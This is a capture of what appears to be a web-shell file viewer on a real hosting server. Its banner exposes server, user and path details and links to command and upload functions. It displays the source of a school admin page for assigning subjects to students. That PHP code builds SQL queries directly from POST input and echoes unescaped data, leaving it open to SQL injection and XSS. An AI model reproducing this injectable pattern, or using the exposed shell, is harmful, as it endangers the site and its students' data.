Server IP : 2a02:4780:3:1493:0:3736:a38e:7 / Your IP : 216.73.216.139 Web Server : LiteSpeed System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64 User : u926327694 ( 926327694) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u926327694/domains/smsoft.in/public_html/mda/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include_once("db.php"); if(!isset($_SESSION['userData'])) { echo"<script>window.location='index.php';</script>"; exit; } $userData = json_decode($_SESSION['userData'],true); if ($_SERVER['REQUEST_METHOD'] == 'POST') { $class = $_POST['class'] ?? ''; $division = $_POST['division'] ?? ''; $combination = $_POST['combination'] ?? ''; $course = $_POST['course'] ?? ''; $search = $_POST['search'] ?? ''; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Admin | Assign Subject to Student</title> <link rel="shortcut icon" href="dist/img/AdminLTELogo.png" type="image/x-icon"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700&display=fallback"> <link rel="stylesheet" href="plugins/fontawesome-free/css/all.min.css"> <!-- DataTables --> <link rel="stylesheet" href="plugins/datatables-bs4/css/dataTables.bootstrap4.min.css"> <link rel="stylesheet" href="plugins/datatables-responsive/css/responsive.bootstrap4.min.css"> <link rel="stylesheet" href="plugins/datatables-buttons/css/buttons.bootstrap4.min.css"> <link rel="stylesheet" href="plugins/select2/css/select2.min.css"> <link rel="stylesheet" href="plugins/select2-bootstrap4-theme/select2-bootstrap4.min.css"> <link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css"> <link rel="stylesheet" href="plugins/tempusdominus-bootstrap-4/css/tempusdominus-bootstrap-4.min.css"> <link rel="stylesheet" href="plugins/icheck-bootstrap/icheck-bootstrap.min.css"> <link rel="stylesheet" href="plugins/jqvmap/jqvmap.min.css"> <link rel="stylesheet" href="dist/css/adminlte.min.css"> <link rel="stylesheet" href="plugins/overlayScrollbars/css/OverlayScrollbars.min.css"> <link rel="stylesheet" href="plugins/daterangepicker/daterangepicker.css"> <link rel="stylesheet" href="plugins/summernote/summernote-bs4.min.css"> <link rel="stylesheet" href="dist/css/style.css"> <style type="text/css"> .main-footer { margin: 0!important; } </style> <style> .subject-label { display: inline-flex; align-items: center; background-color: #0d6efd; /* Bootstrap Primary */ color: white; border-radius: 50rem; /* pill shape */ padding: 0.25rem 0.75rem; margin: 0.25rem; font-size: 0.875rem; } .subject-label .remove-btn { background: transparent; border: none; color: white; margin-left: 0.5rem; font-size: 0.9rem; line-height: 1; cursor: pointer; } .subject-label .remove-btn:hover { color: #ffc107; /* optional hover color */ } </style> </head> <body style="padding: 10px 0;"> <div class="col-lg-12"> <div class="col-md-12"> <?php include('alert-msg.php'); ?> <div class="card card-primary"> <div class="card-header"> <h3 class="card-title">Manage Student Subject Data</h3> </div> <div class="card-body"> <div class="alert alert-success success-msg mt-3" role="alert" style="display:none;"></div> <div class="alert alert-danger error-msg mt-3" role="alert" style="display:none;"></div> <div class="table-responsive mt-4"> <table width="100%" class="table table-striped table-bordered table-hover" id="data_table"> <thead> <tr> <th>Student ID</th> <th>Name</th> <th>Year</th> <th>Roll Number</th> <th>Class/Division</th> <th>Combination</th> <th>Course</th> <th>Student Subjects</th> <th>Assign Subject</th> </tr> </thead> <tbody> <?php $query = "SELECT * FROM `DimStudent_Table` where (`Class`='$class' OR '$class' = '') and (`Division`='$division' OR '$division' = '') and (`Combination`='$combination' OR '$combination' = '') and (`Course`='$course' OR '$course' = '') and (`Student_ID` LIKE '%$search%' OR `Name` LIKE '%$search%' OR `Roll_Number` LIKE '%$search%' OR `Combination` LIKE '%$search%' OR `Course` LIKE '%$search%' OR `Place` LIKE '%$search%' OR '$search' = '')"; $result = mysqli_query($con,$query); $count = 1; while($row = mysqli_fetch_array($result) ) { $id = $row['Student_ID']; ?> <tr class="odd gradeX"> <td><?php echo $id; ?></td> <td><?php echo $row['Name']; ?></td> <td><?php echo $row['Year']; ?></td> <td><?php echo $row['Roll_Number']; ?></td> <td><?php echo $row['Class']; ?>/<?php echo $row['Division']; ?></td> <td><?php echo $row['Combination']; ?></td> <td><?php echo $row['Course']; ?></td> <td> <div class="student_subject_list" style="width:200px;"> <?php $sel_sub = mysqli_query($con,"select sub.Subject_Name,sub.Subject_ID from Bridge_SubjectStudentWise_Table as stsub inner join DimSubject_Table as sub on sub.Subject_ID = stsub.Subject_ID where Student_ID = '$id'"); while($sub_row = mysqli_fetch_array($sel_sub)) { ?> <div class="subject-label"> <span><?php echo $sub_row['Subject_Name']; ?> (<?php echo $sub_row['Subject_ID']; ?>)</span> <button type="button" class="remove-btn" onclick="removeSubject(this,'<?php echo $sub_row['Subject_ID']; ?>','<?php echo $id; ?>')" aria-label="Remove">×</button> </div> <?php } ?> </div> </td> <td> <select class="form-control select2 Subject_ID" data-sid='<?php echo $id; ?>' style="width:250px;"> <?php if($row['Subject_ID'] == '') { ?> <option value="" selected>--Assign New Subject--</option> <?php } ?> <?php $sel_teacher=mysqli_query($con,"SELECT Subject_ID, Subject_Name FROM `DimSubject_Table` where Subject_ID != '' AND Subject_Name != ''"); while($row_teacher=mysqli_fetch_array($sel_teacher)) { ?> <option value="<?php echo $row_teacher['Subject_ID']; ?>"><?php echo $row_teacher['Subject_Name']; ?> (<?php echo $row_teacher['Subject_ID']; ?>)</option> <?php } ?> </select> </td> </tr> <?php $count ++; } ?> </tbody> </table> </div> </div> </div> </div> </div> <?php include('footer.php'); ?> <script> function removeSubject(btn, sub_id, stud_id) { if(confirm('Are you sure you want to remove subject from this student?')) { $.ajax({ type : "POST", url : "remove-subject.php", data : {stud_id:stud_id,sub_id:sub_id}, beforeSend : function() { }, success : function(response) { let res = JSON.parse(response); if(res['code']=='100') { btn.closest('.subject-label').remove(); } else { alert(res['msg']); } } }); } } $(function () { $("#data_table").DataTable({ "lengthChange": false, "autoWidth": false, "paging": false, "buttons": ["copy", "csv", "excel", "pdf", "print", "colvis"], //"pageLength": 10, }).buttons().container().appendTo('.dataTables_wrapper .col-md-6:eq(0)'); }); </script> <script> $(document).ready(function(){ $(".Subject_ID").change(function(){ let thisele = $(this); let sub_id = thisele.val(); let stud_id = thisele.data("sid"); let sub_name = thisele.find("option:selected").text(); if(!sub_id) return; // Skip if nothing selected $.ajax({ url: 'assign-subject-to-student.php', type: 'POST', data: { stud_id: stud_id, sub_id: sub_id }, success: function(response) { try { let res = JSON.parse(response); if (res.code == 100) { // 1. Reset Select2 thisele.val(null).trigger('change'); // 2. Append to the subject list let subjectHtml = ` <div class="subject-label"> <span>${sub_name}</span> <button type="button" class="remove-btn" onclick="removeSubject(this,'${sub_id}','${stud_id}')" aria-label="Remove">×</button> </div> `; thisele.closest('tr').find('.student_subject_list').append(subjectHtml); } else { alert(res.msg || "Failed to assign subject."); } } catch (e) { console.error("JSON parse error:", response); } }, error: function(xhr, status, error) { console.error("AJAX error:", error); } }); }); }); </script> <?php } else { ?> <script> document.location="dashboard.php"; </script> <?php exit; } ?>